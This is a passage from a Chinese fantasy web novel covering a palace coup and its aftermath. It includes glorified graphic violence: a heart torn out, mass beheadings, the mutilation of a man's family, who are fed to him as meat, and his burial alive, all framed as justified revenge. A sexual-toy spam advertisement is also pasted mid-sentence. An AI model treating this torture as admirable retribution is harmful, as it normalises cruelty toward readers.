热门搜索






[玄幻]后宫好乱(全本)-23

  
正文 89、血色盛泱 ...

金缕在对面看到金威咸猪手摸上璃月大腿时,只觉一股怒火“轰”一声冲上了脑门,顿时满腔的杀气摁都摁不住,手一撑座椅扶手便欲起身,拇指上的扳指与坚硬的木质扶手相碰,发出一声轻微的声响,惊醒了他。

他顿了顿,惊觉璃月对他的影响力几乎已经到了他也无法控制的地步,如此千钧一发之际,自己却差点因为失了自制力而露出马脚,这种情况从来就不应该发生他身上。

勉强稳住心绪,他以一种从未有过的冰冷目光看着金威,此时金威只要稍一抬头便可发现他的异常,可惜,他却无暇抬头。

一手流连在璃月紧致而滑腻的大腿肌肤上,一手状似无意地搂着璃月纤软绵滑的腰肢,金威低眸看着红绸半裹欲盖弥彰的那嫩豆腐一般的丰盈,目光淫邪而阴冷,压低了声音问:“你是谁的人?”

闻言,璃月目光都未闪动一下,唇角勾起妖美而青涩的微笑,玉雕一般的纤纤素手挑情地抚上金威的胸,声音甜糯:“殿下说我是谁的人,我便是谁的人……”话音未落,细细的指尖突然光芒暴涨,雄浑的内力瞬间在指尖幻化出五柄尖刃,一下就插入了金威的胸。

耳边传来手指与血肉摩擦发出的粘腻声响,金威先是愣了一愣,直到身后的侍卫惊喝出声:“殿下!”他才感到一阵剧痛,痛得,仿佛心都被掏空了。

来不及去看怀中女子的反应,身后侍卫出手救驾时,他只觉腿上一空,哪里还有那女子的身影?愣怔地抬起头,发现方才还躺在他怀里巧笑倩兮的少女此刻正站在不远处的台阶上,被鲜血完全染红的左手掌心托着一颗还在鼓动的心脏,看着他笑得妖媚。

那是……他的心么?

脑海中刚刚闪过这丝念头,他便眼前一黑扑倒在案上,开始了濒死前无意识的抽搐。

方才还精灵般正在献舞的少女转眼间便用手插入五皇子的胸膛并活生生地掏出了他的心,这不可思议的戏剧性一幕让崇阿殿所有人都惊呆了,除了金缕一伙。

“杀!”见璃月得手,金缕站起身,袍袖一挥,身后八名侍卫便兵分两路,一路扑向金威身后不知所措的侍卫,另一路则扑向殿中附逆金威的朝臣,与此同时,耳边“嘭”的一声巨响,窗外一亮,似是信号弹升空的动静。

宫变,正式开始了。

金威一方的人不乏武功高强者,见状拼死反抗,试图逃出殿去报信,不意一动真气便浑身剧痛,不待对方动手自己便倒了下去。

金缕站在龙椅前,嘴角带着一如既往羞涩而纯真的微笑,看着自己八名手下手起刀落,砍瓜切菜一般地解决着殿中政敌,心中第一次感觉如此舒畅。

璃月说要帮他杀金威,他相信她有这个能力,但金威和他的贴身侍卫都非泛泛之辈,他不愿意让她冒一丁点受伤的危险,所以,他故技重施,在布置内殿的梅花上洒了苏吟歌提供的无色无味挥发性毒药,只要吸入了药气,不动真气不会有事,一动真气便立刻经脉受损。

他和他的侍卫们早已服了解药,而璃月,他也早已派人在她的午饭中掺了解药,不是故意瞒着她,他只是不想让她觉得他太多心计,即便这是事实。

所以,方才即便金威来得及反映,他也决计伤不到璃月。

方才还歌舞升平一片祥和的宫殿一瞬间便成了地狱,众臣狼奔彘突,在满地的鲜血和尸体中摸爬滚打,早就投靠金缕的臣子们安静地闪到一边看着,而附逆金威的大臣则是悔不当初,撕心裂肺地求饶也换不来金缕的宽恕和自己的性命。

璃月扔掉手中心脏,一把撕下脸上的面具,走下台阶便揪住了吓得发抖不知所措的颖王元齐。

元齐看着自己一方的大臣一个个都被鸡鸭一般的杀掉,屠夫们在自己身侧转了转去,正担心不知什么时候刀就会落在自己脖子上,神经绷得快要断裂之际,突然衣襟被人揪住,他自然而然以为是杀手要杀他了,瞬间崩溃,双腿一软便跪了下来,哭着求饶命。

璃月看着跪在自己脚下一边痛哭一边像狗一样哀求的男人,心中的痛无以复加,一把拉住他的领子就向殿外拖去。

元齐挣扎着抬头,看到拖着自己的人竟是璃月时,一张脸顿时变得死灰。

殿外不比殿内,雪月高悬寒风如刀,这样的夜,即便穿着最厚重的棉袄只怕也会感到寒冷,而璃月就那样衣不蔽体昂首阔步地走了出去。

她不觉得冷,她只觉得痛。

收殓傅红纱的那一日她都没想哭,而此刻,她真想嚎啕大哭。

仰头,她看着暗沉一片的天幕,无声呐喊:阿纱姐,你睁开眼看看这个男人吧,这个狗一样的男人,他有哪一点值得你去爱,去死?换做以前,你一根手指就能捏死他,可就为了所谓的爱,你死在这种人手里。你知不知道,我心好痛,即便杀他一千次一万次也不足以弥补这种痛!阿纱姐,以后我该去哪里寻你?

宫中和城中早已乱成了一片,到处都是尸体、鲜血和厮杀的人,璃月不管不顾,只管拖着元齐往颖王府走,不管是谁挡在她前面,她看也不看便是一刀。

在盛泱主干道的东面,她看到了叶千浔的影子,雪光中,他带着他的血影宫徒众魅影一般在街道小巷中兔起鹘落,日月弯刀如银盘般的旋转,一个回旋整条巷子中的人头便都鱼一般蹦上了两侧的屋檐,再骨碌碌地滚下来,他踩着满地的无头尸身,带着恶魔般的沉静和幽魅去到另一条巷子尽头,故技重施。

她匆匆瞥了一眼便继续往颖王府走,道路显然都被叶千浔给扫清了,尸体像垃圾一般堆满了街道,殷红的血融化了街上的积雪,浓烈的血腥味夹在寒风中被吹进千家万户。没有睡着的人们愈加睡不着,已经睡着的也被惊醒。

恐怖笼罩在整个城市的上空,今夜的盛泱,就是地狱。

璃月走着走着,眼前突然人影一晃,她下意识地抬手就欲给来人一刀,一件暖融大氅却迎面罩了过来,“你疯了么?想去给傅红纱陪葬?”苏吟歌气恼又心疼地骂。

璃月眨了眨眼睛,看着夜色中苏吟歌那白梅一般清丽的脸,这才觉得自己快被冻僵了,浑身的皮肤都刀割一般的痛。

“放手啊!”她拽着元齐让苏吟歌没办法用大氅把她完全裹起来,便去拍她的手。

璃月依言放了手,苏吟歌用大氅将她裹住,一把抱了起来,旋身对身后的两名随从道:“把他带回去。”

两名随从应声,过来押着元齐就往不远处的颖王走去。

整个颖王府已经被团团包围了起来,里面的卫队也已被全部解决,尸体在王府门前堆成了两座小山。

府中的一间客房,璃月趴在床上,苏吟歌坐在床沿,手心倒了药水,搓热,然后开始给她按摩。

这女人,浑身的皮肤都冻青了,如不及时处理,非要大病一场不可。

温热的掌心贴在璃月背上就像火一般,那一段红绸早已剪开,他的手毫无阻隔地抚按着那丝滑的肌肤。肩胛,双臂,脊背,腰,臀还有双腿,每一寸都无所遁形。

苏吟歌本来是秉着医者的专业和态度在给她按摩,但随着女人的肌肤在他的手下一点一点的由乌青变为粉红,他双颊微红呼吸不稳起来。

不是没见过女人,没见过身材如此诱人的女人。

那曲线之起伏流畅,弧度之圆润丰嫩,当真令人血脉喷张心旌摇晃。苏吟歌很不合时宜地想了个问题:他是否可以尝试着找些类似她这种身材的女人去治愈那些不举的男人?

念头一起,又自嘲地放弃。

凭他的身份和阅历,迄今为止绝世美女见过不少,何曾见过如此动人心弦的曲线?不仅视觉享受一流,手感亦是一流,给她按摩驱寒,与自虐没什么两样。

唇角勾起无奈的苦笑,他着意揉了揉几个关键的穴道,然后令她转过身来。

看到那两座微微恢复了正常肤色的浑圆雪峰时,他脸更红了,急忙拿起掉在床上的红绸遮了上去。

通过片刻的安抚和沉静,璃月早已收拾好了方才濒临失控的情绪,见苏吟歌那窘迫的模样,无所谓地笑道:“又不是没见过,假正经。”从东仪回来的那次,她浑身都是鞭伤,给她上药的时候苏吟歌早就把她看光了。

见她取笑自己,苏吟歌瞪她一眼,道:“你还有没有点女人的矜持?”

“矜持?那是什么东西?”璃月一脸迷惑。

苏吟歌语噎,干脆不说话了,又倒了点药水在掌心,再次光明正大地吃她嫩豆腐。

“外面那些人是谁的?”璃月问。

“我的。”苏吟歌眉眼不抬。

“颖王府的人一个不少?”

“全都在。”

璃月不说话了。

过了片刻,苏吟歌抬头看她,却见她直勾勾地看着自己。

他有些不自在起来,问:“你看什么?”

“你脸红了。”璃月憋着笑揶揄。

苏吟歌怔了一怔,也不反驳,一本正经地抬起她小腿放在自己膝上,借着按摩的姿势抓住她脚踝,然后,突然就开始挠她脚底。

“啊!哈哈哈哈……苏吟歌,你混蛋!哈哈……”璃月当即痒得蛇一般在床上扭了起来,小腿乱踢乱挣。

苏吟歌全然不顾,手臂用力将她小腿夹在怀中,挠得不亦乐乎。

璃月痒得没法,强撑着坐起来一口就咬上他的肩,于是换苏吟歌尖叫。

……

跟苏吟歌在房里厮闹了半晌,璃月穿戴整齐,去元齐的房里。

是时,元齐正坐在床沿发呆,听到门响,惊弓之鸟般缩到床框边双目睁得溜圆。

璃月扫了眼房中负责看守他的四名大汉,挥挥手道:“出去吧,以后在门外看着就好,不必在屋里盯着。”

四人遵命,退出房将门关上。

璃月看着元齐,缓缓走了过去。

“秦姑娘,我是被逼的,是金威逼我的,她怀着我的孩子我怎么舍得杀她?真的是金威逼我的,你相信我。”缩在床沿的男人突然扑通一声朝她跪下,一脸卑微向她解释哀求。

璃月不语,在桌边缓缓坐下,少顷,微微一笑:“别紧张,阿纱姐是我这辈子除了亲娘之外最亲的人,她那么爱你,我又怎么能杀你?”

元齐有些愣怔地看着她,不知她此言是真是假。

“你也看到了,如非我把你带回来,你早已和金威以及他的走狗们一起死在外面。所以,不要怕,现在到家了,好好歇着就是。能吃就吃,能睡就睡,我不会碰你,外面那些人也不会碰你。”璃月神态亲和。

元齐虽有些不敢置信,但想想也的确是,如果她要杀他,刚刚在殿里就能把他解决了,但她没有。如果说她不想杀他,他杀了傅红纱,她怎可能放过他?

那她此举,可是想从他手里得到什么?

“秦姑娘,我知道我对不起你,我愿意尽我一切补偿你,只要你说,只要我能做到。只求你,能放我一条生路。”

璃月看了他几眼,似笑非笑勾了勾嘴角,道:“好好呆着吧。”

出了颖王府,璃月飞檐走壁地往皇宫方向奔去,虽然看出金缕胸有成竹,但谁又能保证中间不会发生什么变故?她必须去确定一下。

雪和月点亮了这本该漆黑一片的夜,皇宫禁苑早已不复往日的静谧和庄严,被鲜血和尸体点缀得狼籍一片。

璃月刚落进宫墙便发现宫中除了少量的皇宫禁卫之外,竟然到处都是天圣宫的白衣人在四处奔走和杀戮。

她心中一惊,用混乱作掩护在宫苑中悄悄潜行,试图寻找金缕的踪影。

金缕会不会被天圣宫控制起来了呢?可如今金威已死,天圣宫再与金缕作对还有什么意义?难道还有别的皇子可扶持起来取代金缕?

如果说天圣宫这么庞大的队伍潜进盛泱金缕都不知道,那么,活该他要死了!

璃月一边咬牙发狠一边加快了步伐,不管如何,她还是不希望金缕那小子真的就这么死去的。别的不说,那妖孽般的容貌可真真是世间难寻。

一路上抓了五个白衣人问金缕下落,都说不知,于是便杀了五个,心中却是越加着急了。

潜行了大概大半个时辰,终于在后宫一座看起来颇为富丽堂皇的宫殿前看到大队的白衣人在宫前守卫,似乎里面有什么重要人物。

璃月眼珠转了转,借着夜色掩护悄无声息地潜伏到左边宫墙内的树丛中,静静地等。

过了片刻,一名贵妃模样的女人半死不活地被白衣人拖了出来,后面,一名男子紫衣银面,缓缓推着身下的轮椅跟在后面,赫然就是天圣宫宫主云浅。

璃月猫一般积聚的能量,待到合适的距离,突然就一跃而起,离弦之箭般从树丛中蹿出,凌空向云浅扑去!

前面的白衣人几乎立刻就有了反映,丢下宫妇两把长剑电光般向璃月削来,云浅却手一伸,两名下属急忙收手后翻,与此同时,璃月手中的短刃已经抵住了云浅的脖子。

宫外的白衣人发现异动,云一般涌了进来。

璃月全然不顾,短刃抵着云浅颈部动脉,全神戒备地问:“金缕在哪?”

云浅不动,不语,银色的面具挡住了他的表情,幽魅的夜色让璃月捕捉不到他的目光,因而心中一时有些没底。

“说!否则我现在就杀了你!”撇去心中乱七八糟的杂念,她敛住心神全神贯注起来。

云浅依然不语,却抬起右手,熟练地做了几个璃月看不懂的手势,白衣人却又潮水般退了出去,偌大的宫苑中只剩璃月和他两个人。

短暂的僵滞过后,他在面具后闷声闷气地叫:“月姐姐。”

璃月一愣,眨了眨眼睛,一把掀开他的银色面具。

金缕那张妖孽脸在银辉如雪的月光下看起来尤其美艳动人,但此刻璃月却没心情欣赏,她又惊又怒,拔高了音调问:“你就是云浅?!”

“我不是,月姐姐,你听我说……”金缕一脸无辜地试图解释。

“说你个头!”璃月毫不手软地一拳过去,金缕当即流下鼻血两行,她却怒冲冲转身便走。

这死小子,整天在她面前装天真装柔弱,背地里还不知有多少事情瞒着她!她恨恨地想。

“月姐姐,我真的不是云浅,也不是故意瞒你,你听我解释啊。”金缕见她生气,当下也顾不得自己鼻血横流,从轮椅上站起身就去追她。

璃月回身又是一脚,踢得金缕抱着小腿原地直跳,却又不敢叫疼,乌沉沉的眸中泪光闪动好不可怜。

“给我滚回去等着,我闲下来再来收拾你!”璃月指着他鼻子骂道。

*

黎明,盛泱城头。

护城之人原先是金威那边的,如今早已被金缕接手,璃月站在城头上,手执一根单筒望远镜朝西北方向看着。

昨天后半夜有一支死忠金威的皇城卫军得到消息,从卫城赶过来试图逼宫营救,半道被曦王府的人马截住,激战到现在还未结束战斗。

那支卫军有五万人,而曦王府这次为了避人耳目,只派了一万不到的人马过来,经过这么长时间厮杀也不知损失多少。

金缕的人马还有血影宫的人扫平盛泱之后赶过去援手了,璃月正在观看战局进展。

距离有些远,天色也还有些昏暗,因而即便借助望远镜也只能看个大概,一片混乱中,唯有两个人最引人注目。

一个自然是叶千浔,他那柄日月弯刀割起人头来就像收割春天的韭菜一般,一甩过去便倒下一大片,几下便在他身周开拓出一大片空地来。

璃月觉得很奇怪,有如此强烈杀性的男人,在她面前缘何就变成檀郎一般死皮赖脸了呢?难道这就是男人在家里和在外面的不同?

现在她好像明白为何那么多女人都喜欢偷情了,因为的确是外面的男人比较迷人啊!比如说,如果她从不认识叶千浔,如今的叶千浔在她眼中无疑就是个驰骋沙场杀人如麻的恶魔般的男人,唯有冷酷和嗜血才能用来形容这样的男人,她喜欢这样的男人,全然不同于在家里腆着脸摇着尾巴抱着她大腿的样子。

叹息一声,她将望远镜向左前方移了移,另一个同样引人注目的男人出现她眼中。

他骑着马,没有日月弯刀也没有叶千浔那样的杀伤力,他的武器似是一把大刀,但他那左冲右突如入无人之境的杀戮气势却十足迷人,就像一名常年征战的沙场名将,沉着雍容不急不躁,虽是简单的冲杀却也显出了谋略。他的勇猛和强悍很容易将两侧的敌军向他吸引过来,而他马术精湛,往往等那些敌军围拢过来时,他早已跑到他们前面,这时,一直远远跟在他后面的部下便开始从后面攻击这些敌军,而他则会在此时来个十足酷炫的策马回身,与自己的部下形成前后夹击之势,刀光如雪碧血狂飙,不多时便砍杀得干干净净休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入。

璃月皱着眉头,她看不出来这在战场上所向披靡如鱼得水的男人究竟是谁,只觉得熟悉而又陌生,看着他的飒爽英姿和身后高扬在风中的玄色披风,她心中猜到一个人,却又不敢置信。

看这架势,厮杀不用半个时辰就能解决了,璃月觉得有点冷,便下了城去颖王府,苏吟歌此时应该已经做好饭等她了。

*

“璃月!璃月!”当叶千浔带着邀功般的表情兴冲冲来到颖王府一把推开璃月的房门时,看到的情景让他的心咔嚓一声碎了。

璃月坐在苏吟歌腿上,苏吟歌搂着她的腰,两人一边说笑一边互喂,神情之亲昵甜蜜,足以将叶千浔当场气死。

璃月听到声响回身发现叶千浔带着震惊而又心痛表情呆站在门边,顿时讪笑,磨磨蹭蹭地欲从苏吟歌腿上下来,不意苏吟歌却伸手一搂,挑衅地看叶千浔。

叶千浔握着日月弯刀的手紧了紧,绷着脸带着一身煞气大步走进门来。

“叶千浔,你要干嘛?”璃月见他来者不善,心惊地问。

“璃月,不管你恨我还是怨我,今天我一定要杀了他!”叶千浔眸色幽深,几步便跨到了桌边。

璃月慌忙站起身,一边用自己的身子挡住他一边将苏吟歌往后推开,道:“你快走!”

“我干嘛要走?我还想毒死他呢!璃月你没意见吧?”苏吟歌却梗着脖子,站在她后面不肯退一步。

两个男人就这么将璃月夹在中间互相瞪着,谁也不肯让一步。

“璃月,你让开。”少顷,叶千浔沉静道。

“以免误伤你。”苏吟歌在后面补充。

璃月看看两个男人,右腿微微向一边移开一点,再移开一点,想想还是怕这两个家伙弄出人命来,所以闪开到一半突然又闪了回来,不意叶千浔早已按捺不住,一掌向苏吟歌劈去,见璃月又闪了回来,两人均是大惊。

苏吟歌一把抱住璃月就想把她推到身后,谁知后退一步身后却是凳子,一绊之下当即向后倒去,璃月眼看要被他带倒,本能地伸手去扯叶千浔想借力稳住身子,不料叶千浔因为刚刚强行收回那一掌正胸口微痛心绪不稳,被璃月一扯竟跟着向前扑倒。

于是乎……

璃月仰躺着,身下硬邦邦的是苏吟歌的身体,身上也硬邦邦的是叶千浔的身体,她就像一块甜美的肉馅,被两片蚌壳夹在了中间。明明很尴尬很莫名奇妙的姿势,缘何她却很邪恶地觉得,很暧昧呢?

正文 90、如斯报复 ...

三人叠罗汉一般压在一起,还未回过神来,门外突然传来苏吟歌下属的声音:“禀报少爷,外……”说到此处,来人顿了顿,再开口,声音已明显带上了一丝窘迫和不自然:“外面有位姓宴的老先生求见秦姑娘。”

苏吟歌一张俊脸顿时黑到了极点,不用想也知道他的下属定然已经看到了他这副不堪的模样,当即又恼又恨,语气短促道:“知道了,下去!”

“重死了,还不起来!”璃月挣扎着推开叶千浔,从苏吟歌身上滚下来,站起身理理衣襟,回身看着两个依旧一副剑拔弩张模样的男人威胁:“不准打架!否则……哼!仙人球伺候!”言讫,怡怡然出门去见宴几。

宴几是来向她辞行的,眼看盛泱这里局势已定,作为异邦军队,他们也不便在此久留。

璃月大略问了下他们的伤亡情况,然后将颖王府库房里的金银珠宝装了几大箱全部交于宴几带回,说是犒劳活着的将士,抚恤死者家属。

宴几再三推脱,璃月恼了,便只能收下。

临行,璃月突然又叫住他,神情有些迟疑地问:“那个,此番……”

宴几见她开了个头便停下,看着她等她下文。

然璃月终究微微一笑,摇头道:“没什么事了,回去替我向阿渡问好。”

宴几其实知道她想问什么,更希望她能问出来,但见她终是不问,便知她和皇甫绝这个心结终难化解,心底叹息着告辞离开。

送走了他,璃月心头一时还有些茫茫然,不知什么感觉在作祟,也不多想,回到原先的房中,饭菜仍在,窗户破了,两个男人不见影踪。

她也不管,两个不听话的家伙,爱死哪去死哪去,她吃完饭便上床补眠。

天刚入夜,有人爬床。

璃月惊醒,一看却是叶千浔,她揉了揉眼睛,问:“苏吟歌呢?”

叶千浔搂过她,一边在她颊上亲吻一边道:“死了。”

“什么?”璃月一呆,一把推开他,不信地看他:“你把他杀了?”

“是啊,他自愿应战的。”叶千浔一脸认真,不觉得自己有错。

璃月僵了僵,腿一抬一脚将他踢下床,紧跟着翻身下去膝盖压在他胸上,目光冰冷揪着他的衣襟高声喝问:“你真的……把他杀了?!”

叶千浔仰躺在冰冷的地砖上,看着她,不语。

不知为何,在那样的目光中,璃月渐渐的有些心虚起来,她突然意识到,她被骗了,他不可能杀了苏吟歌还这么若无其事地来向她汇报。

他也许,只是想看她的态度。

她缓缓松开了手,从他身上下来,坐在床沿。

他却依然仰躺在地上,目光定定地看着屋顶,少顷,道:“璃月,我累了。”

璃月不说话,他便接着道:“因为我突然意识到,不管我怎么做,也许都无法让你眼中心中只有我一人,因为我无法集所有男人的优点于一身。”

他坐起身,一手插入自己乌黑的发中,一点一点穿梳而过,叹息,“自从认识你后,为了你,我不断地改变自己,不断的……以前从不会做的事做了,从不会说的话说了……有时回头想想,自己都不敢相信那是自己……”

璃月看着他,她知道他说得是真的,因为她也能感觉得到。她原本觉得问心无愧,然此时见他这样,不知为何心中却有些针刺一般的疼痛。

他起身,背过身去,声音落寞而沉静:“璃月,我一心想给你幸福,从未想过,也许你现在就很幸福,而我,完全是那个没必要存在的人。爱不等于占有,不等于纠缠……你正因为这一点,才在意苏吟歌多过我吧。”

他缓缓转过头,看着幽暗中璃月那星子般的双眸,微微一笑,道:“的确,他会的我都不会,但,我会的他也不见得全会。璃月,选择权在你。”言讫,他转身,大步地走出门去。

见他消失在门外,璃月向后倒在床上。

伸手按住额头,她意识到,自己又犯了个错误。

人毕竟是人,想用感情去掌控,首先,你得先让对方相信你对他的确是有感情的,此番,她显然没能做到让叶千浔相信,于是,他此番来盛泱援手,近似于她一次哄骗的结果。任务完成了,她又为了苏吟歌一脚将他踢开了。

哦不,这样的联想让她觉得自己不堪入目,她原本不是这样想的。

她对他是有感情的,为何他感觉不到?是她太善于伪装太善于隐藏了么?

纠结了一会儿,她叹了口气。

分开一段时间彼此冷静冷静也好,她有选择的权力,叶千浔何尝没有?她从不认为自己是这世间最好的女人。以他血影宫宫主的身份以及他自己的条件,他的选择余地比她大。

她原本就不习惯他爱她爱得失了尊严,如今他能有此觉悟,也好。

爱不等于占有,不等于纠缠……谁说的?如此符合她的心境。

……

次日一早,苏吟歌浑身青紫抖抖索索地回来了,此番的确是他落了下风,但叶千浔却没有对他狠下杀手,而是将他扔在荒郊野外的雪地冻了一夜。

*

一个月中,盛泱局势天翻地覆,继盛泱之变后,天圣宫传出消息,说金威和其母荣贵妃在宫变中被他们成功救出,为以防万一,让荣贵妃手握二十万兵权的表哥,也就是在皖南王袁君凯火速派人来接。

天圣宫一向是站在金威这边的,袁君凯得到消息后,不疑有他,一边组织人马准备杀回盛泱为外甥金威夺权,一边派遣自己的心腹去天圣宫迎接金威和荣贵妃。

十一日后,由金缕手下易容而成的金威成功袭杀袁君凯,并首次向驻守皖南的将士们传达了金威已死的消息。

早在假金威抵达皖南的前两天,金缕已派说客去暗中游说袁君凯手下排名第二的左虎威将军冯卓,承诺只要他弃暗投明帮助朝廷和平收复皖南,将来皖南王的头衔便是他的。

多年来,只因右虎威将军沈东志是袁君凯的表亲,带的部队也是袁君凯手下的精锐之师,因而不管什么事都压冯卓一头,对他冯卓是积怨已久,此刻又听闻金威已死,心知再坚持立场除了给金威殉葬外没有第二条出路,当即便一口答应下来。

袁君凯被杀当日,沈东志以皖南第二的身份号召军队杀回盛泱,为主将、为五皇子金威报仇,不料冯卓阵前反戈,打了他一个措手不及,凭着手下八万人的部队是军中精锐,沈东志率军杀出皖南,直袭盛泱。

因没有补给,这支叛军只能一路奔逃一路烧杀抢掠以维持基本生计,然时间一长,沿途百姓摸清了这支队伍的行进方向,早在军队抵达前便早早带着家底躲了起来。

前有围堵后有追兵,天寒地冻缺衣少粮,走投无路之下,沈东志想起了南佛最大的外商玉无尘,派人去联络想与之交易换取粮草被服,不想对方一口回绝,且不给理由。

山穷水尽之际,沈东志死忠袁君凯,仍一心想去盛泱杀了金缕为其报仇,八万多人的精锐部队,不过仅仅一个月便折损了两万多人,这也难怪,即便战斗力再强,又冷又饿,冰天雪地中晚上连个帐篷都没有,交战时爆发力和耐久力哪来?

沈东志手下两员副将见状,知如此下去,除了全军覆没似乎看不到别的出路,他沈东志深受袁君凯重用,半生享尽了融化富贵,他们这些做手下的又没享受到,凭什么跟着他一起给袁君凯陪葬?于是两人密议一番之后,当晚便杀了沈东志,向朝廷投诚。

至此,最大的威胁被成功解除,残余的附逆势力金缕便可腾出手来有条不紊地逐一清除了。

*

苏吟歌陪着,璃月在颖王府练了一个月的功,这日,厨师来见,说是差不多了。

她走到窗边看看,一月初,南佛最冷的季节已然过去,积雪消融枯木吐蕊,倒有些春天的气息了。

仰头看看湛蓝的天空,她双手抚上窗棂,道:“好吧,就这样吧。”

回身便去元齐的房间。

这一个月来,元齐一直被关在房间,每天除了吃就是睡,伙食也不错,不是肉包子就是骨头汤,一个月下来却似长胖了些。

他几次想见璃月门外守卫都拒绝通报,今日见璃月来了,仍旧笑嘻嘻一脸的春光,便大着胆子问:“秦姑娘,我的家人都还好吗?”

璃月如那次一般在桌旁坐下,道:“阿纱姐说过,你是孝子,是重情之人,一直以来,父母高堂,妻妾四人,还有三个孩子,都照顾得很好。”

元齐低下了头,他不敢说话,如果他承认,那么他对傅红纱做的事又该如何解释?如果他不承认,万一秦璃月将他的家人都杀了怎么办?

“想见他们吗?”璃月突然问。

元齐抬头,还未说话眼神便传达了渴望。

“走吧,我带你去。”璃月站起身。

元齐又惊又喜,忙亦步亦趋地跟了上去。

来到府东他父母居住的院落,元齐一踏入便闻到了一股血腥气和淡淡的腐臭,心中顿时一揪,看着左前方一脸轻松若无其事的女人,他捏着满是冷汗的手心,一边安慰自己一边继续跟着她向前走。

越靠近正堂臭味越浓,几乎到了呛人欲呕的地步,元齐微微抬袖捂住鼻子,心中的不安更甚。

来到门前,璃月对守在门旁两名门卫道:“开门。”

随着那两扇紫檀大门缓缓打开,元齐的表情渐渐呆滞。

呈现在他眼前的,不是他这一个月心心念念牵挂着家人,而是……人间地狱。

整个大堂的地面都被鲜血染红,到处都是污秽,恶臭扑鼻,里面呈半圆形放着十张椅子,上面的大大小小地坐着十个人……不,具体而言,那已经不能算人了,他们没有眼睛,没有鼻子,没有嘴唇,没有耳朵,没有胳膊,头发都被剃光,衣服也被扒光,浑身是血,一眼望去,就像十根人□子一般。

然而,即便如此,他们却还都活着,他们不住地颤抖,因被割掉嘴唇而露出白森森牙齿的口中发出“咯咯”的恐怖声响……

璃月转身,扫了眼一脸呆滞的元齐,道:“喏,你的家人都在这呢。他们都还活着,怎么了?你不高兴?”

元齐的表情撕心裂肺起来,“你为什么这样做?!”他双目赤红,嘶吼声震耳欲聋。

璃月微笑不改,淡淡道:“不这样,你以为你吃的那些肉包子骨头汤哪里来?听厨子说你每次都不浪费,吃得很干净啊。我让你的家人化作你血肉的一部分,永远和你在一起,不好么?”

元齐僵了僵,突然跪倒在地,掏心挖肺般呕吐起来,那样子,真让人担心他会将自己的五脏六腑都吐出来。

“为什么……为什么?他们是无辜的,无辜的!”元齐吐得面色惨白,握紧了双拳,眸中终于射出了滔天般的恨。

“无辜?我的阿纱姐又何辜?她腹中胎儿何辜?”璃月一把揪起他抵在墙上,目光如蛇,“人不犯我我不犯人,人若犯我,十倍还之!元齐,你惹错了人!”

“你这个魔鬼,魔鬼!”想到自己竟然吃了自己的父母妻儿,元齐真正体验到什么叫生不如死。记得,他第一次从天一岛带走傅红纱时,她的确警告过他,如果他对不起傅红纱,她定叫他生不如死。

她做到了,且,有过之无不及。

“魔鬼?”璃月幽幽一笑,“魔鬼怎能跟我比?”言讫,揪着他就向府外拖去。

来到郊外埋葬傅红纱的地方,苏吟歌早已带着人等候在那儿。

元齐心如死灰,如今自己一无所有,脑中一片空白。

璃月放开了他,道:“开棺。”

几名手下跳下挖开的深坑,小心翼翼地撬开了棺盖。

时隔几个月,傅红纱的尸体早已开始腐烂,一股尸臭扑面而来。

璃月面无表情地看着,道:“阿纱姐,你爱这个男人,你不希望自己的孩子生下来没有父亲。喏,我把他给你带来了,只有他一个人哦,那世里,你们三个好好过吧。吃一堑长一智,不要再惯着他了。”说着,伸手拉过元齐,道:“她等你很久了,去吧。”

元齐看着棺中那腐败不堪面目全非的女人,麻木的心突然又惊惧起来,挣扎着向后缩着,嘴里喃喃道:“不,不……”

璃月也不跟他废话,点了他的穴,亲手将他放到傅红纱腐烂的尸体旁,确定他不会压到傅红纱,这才跳上草地,道:“封棺。”

砌好坟茔之后,苏吟歌屏退下属,和璃月两人站在坟前。

“立个碑吧。”良久,璃月突然开口道。

“刻什么字?”苏吟歌问。

“爱。”璃月转身向盛泱走去。

她为傅红纱报了仇,可,心中却没有丝毫喜悦之意。

她早知道的,失去了就是失去了,无论你做什么都弥补不回来,她永远看不见傅红纱了,永远吃不到她做的烤全羊了,永远不能被她摸着头叫“丫头”了……

苏吟歌跟在她身后,看着她身形僵硬地向前走,走出大约十多米,她突然回身,一下扑入他怀中,呢喃道:“借我抱一下。”她突然有些空虚的冷,想找个人取暖。

苏吟歌愣了愣,展臂环住她,良久,道:“还是不要立碑吧。”

“为什么?”璃月脸埋在他怀中,抑着心痛问。

“爱还活着。”苏吟歌道。

*

回盛泱的路上,璃月远远看到很多士兵押着大队的囚犯向郊外偏僻处走,便问苏吟歌:“那是怎么回事?”

“袁君凯的降兵,都以叛国罪被判了死刑,近六万人,估计要砍两个月了。”苏吟歌淡淡道。

“近六万人都是死刑?谁判的?”璃月惊问。

“你说呢?”苏吟歌不答反问。

“去丰汇楼等我。”璃月说着,拔腿就向东宫跑去。

东宫花园,璃月堵住了正要外出的金缕。

“哎,月姐姐,你来了,我正要去找你呢。”他依旧一副天真无邪的模样,亲热地拉着璃月的手道。

“闲话少说,你立刻下令免除袁君凯那批降兵的死刑。”璃月开门见山。

“啊?这个,是父皇下的命令,我没有权力赦免他们。”金缕道。

“行,你狠。”璃月二话不说转身便走。

“月姐姐,你不要生气嘛。”金缕拉住她,“你告诉我你到底想干什么?”

“南佛不需要这支队伍的话,给我。”璃月回身道。

“给你?月姐姐你要军队做什么?”金缕惊讶。

“你管我做什么?就算做劳力也比你全部杀掉强。”璃月没好气道。

“我都说了不是我要杀掉他们,是我父皇。”金缕委屈地解释。

璃月伸手拎住他耳朵,道:“一个快死的人杀心还能这么重?你当我白痴啊?”

金缕痛得叫了起来,一边求饶一边道:“月姐姐我交代我交代,是我的谋士建议我将这批叛军全部杀掉以绝后患的,既然月姐姐想要,我把他们交给你就是了。”

正文 91、璃月封王 ...

东华宫龙华殿,夜色迷离。

金缕坐在书桌前,唰唰地翻动着案上厚厚的卷宗,橘红色的烛在他袖子的金边上折射出七彩宝光,映着他寒星般的眸子,璀璨却又森冷。

大概半盏茶后,他将整理出来一大堆卷宗往站在一旁的李逝面前一推,道:“这些人全部杀掉,灭三族。”又将另外一小半卷宗推过去,道:“安排这些人来东宫见我,明天开始,每天十个。”

李逝领命。

金缕伸手揉着额头,全无嬉笑之意的脸庞冷艳慑人生人勿近。

